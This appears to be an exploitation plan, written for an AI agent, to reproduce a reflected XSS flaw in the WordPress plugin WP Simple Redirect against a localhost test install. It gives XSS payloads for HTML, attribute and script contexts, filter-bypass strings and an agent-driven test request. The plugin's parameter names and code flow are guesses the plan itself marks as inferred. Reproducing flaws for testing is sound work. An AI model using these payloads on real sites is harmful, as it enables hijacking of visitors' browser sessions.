Exploitation Research Plan: CVE-2025-68884 (WP Simple Redirect XSS)

1. Vulnerability Summary

The WP Simple Redirect plugin (versions <= 1.1) is vulnerable to Reflected Cross-Site Scripting (XSS). The vulnerability exists because the plugin accepts user-controlled input (typically via URL parameters used for redirection logic) and reflects it back into the HTML response without sufficient sanitization (e.g., sanitize_text_field) or output escaping (e.g., esc_url, esc_html, or esc_attr). This allows an unauthenticated attacker to execute arbitrary JavaScript in the context of the victim's browser session.

2. Attack Vector Analysis

• Endpoint: The vulnerability is likely located in the frontend redirect handler, triggered via a specific query parameter on any page or a specific plugin-managed path.
• Vulnerable Parameter: url, redirect, to, or redirect_to (inferred based on plugin purpose).
• Authentication: Unauthenticated (PR:N).
• Preconditions: The plugin must be active. Some plugins require a redirect rule to be configured, while others process arbitrary $_GET parameters for ad-hoc redirection messages.

3. Code Flow (Inferred)

1. Entry Point: The plugin likely hooks into init or template_redirect to monitor for redirection requests.
2. Input Source: The code retrieves a value from $_GET['url'] or $_GET['redirect'].
3. Processing: The plugin prepares a "Redirecting..." or "Click here if you are not redirected" page.
4. Sink: The raw value from $_GET is passed to an echo statement inside an HTML attribute (like href) or directly into the HTML body without escaping.

4. Nonce Acquisition Strategy

Reflected XSS via GET parameters in WordPress frontend handlers typically does not involve nonces, as nonces are intended for state-changing operations (CSRF protection) rather than simple data reflection.

If the vulnerability is found within an admin settings page (Reflected XSS in the dashboard):

1. Identification: Check admin-menu registrations for the plugin.
2. Acquisition: Use browser_navigate to go to the plugin settings page.
3. Extraction: Use browser_eval("window._wpnonce") or search the HTML for name="_wpnonce".
   Note: For unauthenticated reflected XSS, this step is usually unnecessary.

5. Exploitation Strategy

Phase 1: Discovery (Grep for Sinks)

The agent must first confirm the exact parameter and file:

grep -rP "echo.*_GET|echo.*_REQUEST" /var/www/html/wp-content/plugins/wp-simple-redirect/

Phase 2: Execution

Assuming the parameter is redirect_to and the sink is an <a> tag href:

1. Construct Payload:

   • If reflected in HTML body: <script>alert(document.domain)</script>
   • If reflected in href: " onmouseover="alert(document.domain)" or javascript:alert(1)

2. HTTP Request:
   Using the http_request tool:

   • Method: GET
   • URL: http://localhost:8080/?redirect_to=<script>alert(1)</script> (or the discovered parameter)
   • Headers: {"Accept": "text/html"}

3. Verification of Response:
   Check if the response body contains the unescaped string <script>alert(1)</script>.

6. Test Data Setup

1. Plugin Installation: Ensure wp-simple-redirect version 1.1 is installed and active.
2. Configuration: Check if a "Simple Redirect" post type or setting needs to exist.

   wp post create --post_type=simple_redirect --post_title="Test Redirect" --post_status=publish
   

   (Note: The exact post type name should be verified via wp post-type list)

7. Expected Results

• The server responds with a 200 OK or 302 Found (if it also attempts a redirect).
• The HTML source of the response contains the payload exactly as sent in the URL parameter.
• Example: <p>Redirecting you to <script>alert(1)</script>...</p> or <a href="<script>alert(1)</script>">Click here</a>.

8. Verification Steps (Post-Exploit)

Since this is Reflected XSS, verification is performed by inspecting the HTTP response:

1. Use http_request to fetch the URL.
2. Search the response_body for the injected string.
3. Confirm no escaping functions (like <) were applied.

9. Alternative Approaches

• Attribute Breakout: If the input is reflected inside an attribute (e.g., value="INPUT"), try: " autofocus onfocus="alert(1).
• JavaScript Context: If the input is reflected inside a <script> block: ';alert(1);//.
• Bypass Attempts: If sanitize_text_field is used (which strips tags) but esc_attr is missing, try attribute-based XSS: x" onmouseover="alert(1).